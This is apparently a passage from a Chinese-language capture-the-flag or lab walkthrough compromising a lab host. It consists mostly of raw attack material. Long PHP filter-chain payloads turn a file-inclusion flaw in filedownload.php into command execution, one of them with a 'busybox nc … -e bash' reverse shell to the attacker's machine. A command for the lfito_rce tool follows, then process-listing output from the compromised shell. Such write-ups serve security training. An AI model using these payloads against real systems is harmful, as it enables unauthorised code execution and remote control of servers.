ert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;http://192.168.0.100/prices/filedownload.php?AssignmentForm=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&amp;amp;0=whoami
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;http://192.168.0.100/prices/filedownload.php?AssignmentForm=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&amp;amp;0=busybox%20nc%20192.168.0.106%204444%20-e%20bash
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;方法二：使用 phpinfo 从 LFI 转 RCE&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/roughiz/lfito_rce&quot;&gt;https://github.com/roughiz/lfito_rce&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;python3 lfito_rce.py -l &amp;#39;http://192.168.0.100/prices/filedownload.php?AssignmentForm=&amp;#39; --lhost 192.168.0.106 --lport 4444 -i &amp;#39;http://192.168.0.100/phpsysinfo.php&amp;#39; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我没成功&lt;/p&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;(remote) www-data@ephemeral:/etc/cron.d$ ps auxf
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           2  0.0  0.0      0     0 ?        S    05:41   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [rcu_gp]
root           4  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [rcu_par_gp]
root           6  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kworker/0:0H-events_highpri]
root           9  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [mm_percpu_wq]
root          10  0.0  0.0      0     0 ?        I    05:41   0:00  \_ [rcu_tasks_kthread]
root          11  0.0  0.0      0     0 ?        I    05:41   0:00  \_ [rcu_tasks_rude_kthread]
root          12  0.0  0.0      0     0 ?        I    05:41   0:00  \_ [rcu_tasks_trace_kthread]
root          13  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [ksoftirqd/0]
root          14  0.0  0.0      0     0 ?        I    05:41   0:01  \_ [rcu_preempt]
root          15  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [migration/0]
root          16  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [idle_inject/0]
root          17  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [cpuhp/0]
root          18  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [cpuhp/1]
root          19  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [idle_inject/1]
root          20  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [migration/1]
root          21  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [ksoftirqd/1]
root          22  0.0  0.0      0     0 ?        I    05:41   0:02  \_ [kworker/1:0-events]
root          23  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kworker/1:0H-events_highpri]
root          24  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kdevtmpfs]
root          25  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [netns]
root          26  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [inet_frag_wq]
root          27  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kauditd]
root          29  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [khungtaskd]
root          30  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [oom_reaper]
root          31  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [writeback]
root          32  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kcompactd0]
root          33  0.0  0.0      0     0 ?        SN   05:41   0:00  \_ [ksmd]
root          34  0.0  0.0      0     0 ?        SN   05:41   0:00  \_ [khugepaged]
root          35  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kintegrityd]
root          36  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kblockd]
root          37  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [blkcg_punt_bio]
root          38  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [tpm_dev_wq]
root          39  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [ata_sff]
root          40  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [md]
root          41  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [edac-poller]
root          42  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [devfreq_wq]
root          43  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [watchdogd]
root          45  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kworker/0:1H-kblockd]
root          46  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [kswapd0]
root          47  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [ecryptfs-kthread]
root          54  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kthrotld]
root          58  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [acpi_thermal_pm]
root          59  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [vfio-irqfd-clea]
root          60  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [mld]
root          61  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [ipv6_addrconf]
root          66  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kstrp]
root          72  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [zswap-shrink]
root          73  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kworker/u5:0]
root         119  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [charger_manager]
root         158  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [kworker/1:1H-kblockd]
root         161  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [mpt_poll_0]
root         162  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [mpt/0]
root         163  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_0]
root         164  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_0]
root         165  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_1]
root         166  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_1]
root         167  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_2]
root         168  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_2]
root         169  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_3]
root         170  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_3]
root         171  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_4]
root         172  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_4]
root         173  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_5]
root         174  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_5]
root         175  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_6]
root         176  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_6]
root         177  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_7]
root         178  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_7]
root         179  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_8]
root         180  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_8]
root         181  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_9]
root         182  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_9]
root         183  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_10]
root         184  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_10]
root         185  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_11]
root         186  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_11]
root         187  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_12]
root         188  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_12]
root         189  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_13]
root         190  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_13]
root         191  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_14]
root         192  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_14]
root         193  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_15]
root         194  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_15]
root         195  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_16]
root         196  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_16]
root         197  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_17]
root         198  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_17]
root         199  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_18]
root         200  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_18]
root         201  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_19]
root         202  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_19]
root         203  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_20]
root         204  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_20]
root         205  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_21]
root         206  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_21]
root         207  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_22]
root         208  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_22]
root         209  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_23]
root         210  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_23]
root         211  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_24]
root         212  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_24]
root         213  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_25]
root         214  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_25]
root         215  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_26]
root         216  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_26]
root         217  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_27]
root         218  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_27]
root         219  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_28]
root         220  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_28]
root         221  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_29]
root         222  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_29]
root         252  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [scsi_eh_30]
root         253  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [scsi_tmf_30]
root         273  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [jbd2/sda5-8]
root         274  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [ext4-rsv-conver]
root         344  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [irq/18-vmwgfx]
root         347  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc0]
root         348  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc1]
root         349  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc2]
root         350  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc3]
root         351  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc4]
root         352  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc5]
root         353  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc6]
root         354  0.0  0.0      0     0 ?        S    05:41   0:00  \_ [card0-crtc7]
root         398  0.0  0.0      0     0 ?        I&amp;lt;   05:41   0:00  \_ [cryptd]
root        2303  0.0  0.0      0     0 ?        I    06:08   0:00  \_ [kworker/0:0-mpt_poll_0]
root        2431  0.0  0.0      0     0 ?        I    06:28   0:00  \_ [kworker/u4:2-events_power_efficien
root        2538  0.0  0.0      0     0 ?        I    06:41   0:00  \_ [kworker/0:1-cgroup_destroy]
root        2542  0.0  0.0      0     0 ?        I    06:42   0:00  \_ [kworker/u4:1-events_power_efficien
root        2559  0.0  0.0      0     0 ?        I    06:47   0:00  \_ [kworker/u4:0-events_unbound]
root        2691  0.0  0.0      0     0 ?        I    06:52   0:00  \_ [kworker/1:1-events]
root           1  0.0  0.6 168604 12472 ?        Ss   05:41   0:00 /sbin/init splash
root         314  0.0  0.8  51468 16644 ?        S&amp;lt;s  05:41   0:00 /lib/systemd/systemd-journald
root         338  0.0  0.3  24228  7520 ?        Ss   05:41   0:00 /lib/systemd/systemd-udevd
systemd+     597  0.0  0.6  23868 13080 ?        Ss   05:41   0:00 /lib/systemd/systemd-resolved
systemd+     600  0.0  0.2  90220  5972 ?        Ssl  05:41   0:00 /lib/systemd/systemd-timesyncd
root         628  0.0  0.0   2548   764 ?        Ss   05:41   0:00 /usr/sbin/acpid
root         630  0.0  0.1   8168  2468 ?        Ss   05:41   0:00 /usr/sbin/anacron -d -q -s
avahi        632  0.0  0.1   8532  3300 ?        Ss   05:41   0:00 avahi-daemon: running [ephemeral.local]
avahi        655  0.0  0.0   8348   328 ?        S    05:41   0:00  \_ avahi-daemon: chroot helper
root         633  0.0  0.1   9420  2764 ?        Ss   05:41   0:00 /usr/sbin/cron -f
root         635  0.0  0.4  28440  8600 ?        Ss   05:41   0:00 /usr/sbin/cupsd -l
lp           688  0.0  0.3  15332  6484 ?        S    05:41   0:00  \_ /usr/lib/cups/notifier/dbus dbus://
message+     636  0.0  0.2   7936  4652 ?        Ss   05:41   0:00 /usr/bin/dbus-daemon --system --address
root         638  0.0  1.0 264652 21076 ?        Ssl  05:41   0:00 /usr/sbin/NetworkManager --no-daemon
root         642  0.0  0.1  81832  3692 ?        Ssl  05:41   0:00 /usr/sbin/irqbalance --foreground
root         644  0.0  0.9  39328 20176 ?        Ss   05:41   0:00 /usr/bin/python3 /usr/bin/networkd-disp
root         646  0.0  0.4 236844  8904 ?        Ssl  05:41   0:00 /usr/lib/policykit-1/polkitd --no-debug
syslog       648  0.0  0.2 224352  4612 ?        Ssl  05:41   0:00 /usr/sbin/rsyslogd -n -iNONE
root         649  0.1  2.0 1923648 40836 ?       Ssl  05:41   0:05 /usr/lib/snapd/snapd
root         650  0.0  0.3  16556  7392 ?        Ss   05:41   0:00 /lib/systemd/systemd-logind
root         651  0.0  0.2  13684  4836 ?        Ss   05:41   0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_
root         687  0.0  0.6 178392 12472 ?        Ssl  05:41   0:00 /usr/sbin/cups-browsed
root         699  0.0  0.5 314468 10836 ?        Ssl  05:41   0:00 /usr/sbin/ModemManager
root         713  0.0  1.1 118020 22972 ?        Ssl  05:41   0:00 /usr/bin/python3 /usr/share/unattended-
root         720  0.1  2.4 975776 50368 ?        Ssl  05:41   0:06 /usr/bin/containerd
root         721  0.0  0.1   6816  2924 ?        Ss   05:41   0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root         729  0.0  0.0   8436  1748 tty1     Ss+  05:41   0:00 /sbin/agetty -o -p -- \u --noclear tty1
root         746  0.0  0.3  12180  6676 ?        Ss   05:41   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of
root         749  0.0  0.8 193444 17656 ?        Ss   05:41   0:00 /usr/sbin/apache2 -k start
www-data    2475  0.0  3.9 257496 80680 ?        S    06:34   0:01  \_ /usr/sbin/apache2 -k start
www-data    2480  0.0  0.8 194092 16256 ?        S    06:34   0:00  \_ /usr/sbin/apache2 -k start
www-data    2490  0.0  0.8 198704 17300 ?        S    06:35   0:00  \_ /usr/sbin/apache2 -k start
www-data    2494  0.0  0.8 194092 16368 ?        S    06:35   0:00  \_ /usr/sbin/apache2 -k start
www-data    2507  0.0  0.8 198712 17188 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
www-data    2510  0.0  0.8 198780 16788 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
www-data    2512  0.0  0.8 198756 16976 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
www-data    2513  0.0  0.8 197060 16892 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
www-data    2717  0.0  0.0   2616   592 ?        S    06:53   0:00  |   \_ sh -c busybox nc 192.168.0.106 
www-data    2718  0.0  0.1   3984  3004 ?        S    06:53   0:00  |       \_ bash
www-data    2738  0.0  0.0   2644  1948 ?        S    06:53   0:00  |           \_ /usr/bin/script -qc /us
www-data    2739  0.0  0.0   2616   524 pts/0    Ss   06:53   0:00  |               \_ sh -c /usr/bin/bash
www-data    2740  0.0  0.1   4248  3524 pts/0    S    06:53   0:00  |                   \_ /usr/bin/bash
www-data    2893  0.0  0.1   6224  3316 pts/0    R+   06:58   0:00  |                       \_ ps auxf
www-data    2514  0.0  0.7 193988 15944 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
www-data    2515  0.0  0.8 198736 16952 ?        S    06:36   0:00  \_ /usr/sbin/apache2 -k start
mysql        813  0.2 20.0 1797104 405600 ?      Ssl  05:41   0:12 /usr/sbin/mysqld
whoopsie     825  0.0  0.7 327168 15924 ?        Ssl  05:41   0:00 /usr/bin/whoopsie -f
kernoops     833  0.0  0.0  11260   444 ?        Ss   05:41   0:00 /usr/sbin/kerneloops --test
kernoops     836  0.0  0.0  11260   444 ?        Ss   05:41   0:00 /usr/sbin/kerneloops
root         854  0.0  4.3 873168 88144 ?        Ssl  05:41   0:01 /usr/bin/dockerd -H fd:// --containerd=
&lt;/code&gt;&lt;/pre&gt;
